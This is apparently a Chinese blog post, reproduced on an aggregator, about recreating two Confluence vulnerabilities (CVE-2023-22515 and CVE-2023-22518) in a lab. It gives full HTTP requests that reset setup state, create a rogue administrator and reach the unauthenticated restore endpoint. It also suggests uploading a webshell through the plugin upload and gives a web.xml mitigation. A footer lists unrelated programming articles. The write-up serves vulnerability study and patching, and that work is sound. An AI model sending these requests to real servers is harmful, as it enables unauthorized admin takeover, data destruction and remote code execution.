Confluence 漏洞复现(CVE-2023-22515)

news/2025/2/16 0:19:23/

Confluence 漏洞复现(CVE-2023-22515,CVE-2023-22518)

1.CVE-2023-22515权限提升漏洞

1.1漏洞描述

Confluence近期推出的严重漏洞cve-2023-22515,由于未授权和xwork框架问题,导致攻击者可以未授权将系统设置为未安装完成的状态,然后可以进行管理员账号密码设置。从而登录系统,造成敏感信息泄漏等。

漏洞影响版本:

8.0.0 <= Atlassian Confluence < 8.3.3

8.4.0 <= Atlassian Confluence < 8.4.3

8.5.0 <= Atlassian Confluence < 8.5.2

1.2漏洞环境搭建

官网下载https://www.atlassian.com/software/confluence/download-archives

这里我安装到win10,安装版本选择了atlassian-confluence-8.0.4-x64

注意:需要java环境,mysql数据库,

安装成功后访问:http://192.168.2.129:8090/login.action 可以看到安装成功
在这里插入图片描述

1.3漏洞复现

/server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false

在这里插入图片描述

/setup/setupadministrator-start.action

注意要有Setup is already complete - Confluence字段,没有的点进系统设置管理员

在这里插入图片描述

覆盖 setupComplete 属性,

POST /setup/setupadministrator.action HTTP/1.1
Host: 192.168.2.129:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=B4C393494A9F11630749454F8C8EBE86
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Content-Length: 98username=user&fullName=user&email=1111@qq.comt&password=1111&confirm=1111&setup-next-button=Next

成功绕过,添加管理员,注意要加上X-Atlassian-Token: no-check,否则添加用户不成功

在这里插入图片描述

此时查看系统用户,发现已经存在user用户

在这里插入图片描述

4.漏洞修复

修改 //confluence/WEB-INF/web.xml 文件,并添加以下内容(就在文件末尾的 标签之前):

<security-constraint><web-resource-collection><url-pattern>/setup/*</url-pattern><http-method-omission>*</http-method-omission></web-resource-collection><auth-constraint /></security-constraint>

2.CVE-2023-22518远程代码执行漏洞

2.1漏洞描述

在复杂的软件架构中,包的继承和命名空间的使用提供了强大的灵活性,但也带来了潜在的安全风险。当子包继承父包时,它们也继承了父包的接口,但并不总是继承相关的安全控制。在 Confluence 这个案例中,Confluence 滥用了 Struts2 的继承关系,从而导致可以一定程度绕过它自身的权限校验,最终通过部分接口串联利用实现无需认证的远程代码执行。

成功利用这个漏洞的攻击者可以在一定程度上绕过身份验证,而后可以通过串联后台接口,无需认证即可控制并且接管服务器。**需要特别注意的是,该漏洞利用会导致 Confluence 数据清空,对应用数据完整性产生不可逆的影响。**未授权的攻击者利用该漏洞,配合 admin api,可实现远程代码执行,最终控制服务器权限。

2.2漏洞复现

漏洞POC

POST /json/setup-restore.action HTTP/1.1
Host: 192.168.2.129:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=9D2635DE04696EA41660666044100BB2
Connection: close

看到这个页面代表漏洞存在,

在这里插入图片描述

可以看到是未授权访问了备份页面

在这里插入图片描述

3.漏洞利用

结合漏洞利用,进行getshell

通过后台的“管理应用”->“上传应用”功能, 上传一个马上去即可

在这里插入图片描述


http://www.ppmy.cn/news/1205808.html

相关文章

Rust函数进阶

文章目录 函数函数中的函数lambda表达式函数作为参数 Rust系列&#xff1a;初步⚙所有权⚙结构体和枚举类 函数 先来回顾一下Rust中函数的创建过程&#xff0c;在Rust中&#xff0c;函数用fn声明&#xff0c;如有传入参数或返回值&#xff0c;都需要声明数据类型&#xff0c;…

微信小程序:js实现不改变原数组的情况下增加一条对象到新数组中

效果 核心 old_array.slice(0) 表示对 old_array 这个数组进行切片操作&#xff0c;从索引 0 开始&#xff08;包括索引 0&#xff09;&#xff0c;直到数组的末尾&#xff0c;old_array.slice(0) 中的 0 表示开始切片的索引位置&#xff0c;而由于没有传入第二个参数&#xff…

牛客算法题:B-装进肚子

题目 链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 题目描述 自从ZZZZone吃完糖果后&#xff0c;他开始改吃巧克力了&#xff0c;他每天想吃n个巧克力增在甜蜜值&#xff0c;他决定早上吃K个巧克力&#xff0c;晚上吃n - K个巧克力&#…

怎么剔除掉六十岁(退休)以上的人(python自动化办公)

怎么剔除掉六十岁&#xff08;退休&#xff09;以上的人&#xff08;python自动化办公&#xff09; 需求分析&#xff1a; 1.本代码的要求是从表1中根据姓名合并表2 2.删除掉为空的人数 &#xff0c;后面再合并 3.表格内的19971111&#xff0c;所以首先需要得到年份 4.找出大…

maven中的install 和 clean命令,以及compile、、package、test等操作介绍

maven中的install命令 主要就是谁要被其他模块依赖就install谁 Maven工具可以进行clean、compile、install、package、test等操作&#xff0c;但是这些操作有什么用呢&#xff0c;以下面的p2p-exterface为例说明一下&#xff0c;pwp-exterface工程目录如下&#xff1a; com…

Python项目移到Linux环境下出现ModuleNotFoundError: No module named ‘xxx‘解决方案

1、自建的module包所在路径不在PYTHONPATH下 在IDE中执行python程序&#xff0c;编译器会自动把当前项目的根目录加入到包查找路径中&#xff0c;可以理解为加到PYTHONPATH下&#xff0c;所以直接执行是没有问题的。但是在cmd或者terminal控制台中直接使用python相关命令来执行…

vue3+setup 解决:this.$refs引用子组件报错 is not a function

一、如果在父组件中以下四步都没问题的话&#xff0c;再看下面步骤 二、如果父组件引用的是index页面 请在 头部加上以下代码 &#xff08;如果是form页面请忽略这一步&#xff09; <template> <a-modalv-model:visible"visible"title"头部名称&…

yuv420并转为bgr

文章目录 从视频通道获取yuv视频帧数据y和uv&#xff0c;读取合并成完整yuv并转为bgr。详细解释进一步封装ImageConverter.hImageConverter.cppmain.cpp 从视频通道获取yuv视频帧数据y和uv&#xff0c;读取合并成完整yuv并转为bgr。 #include <iostream> #include <f…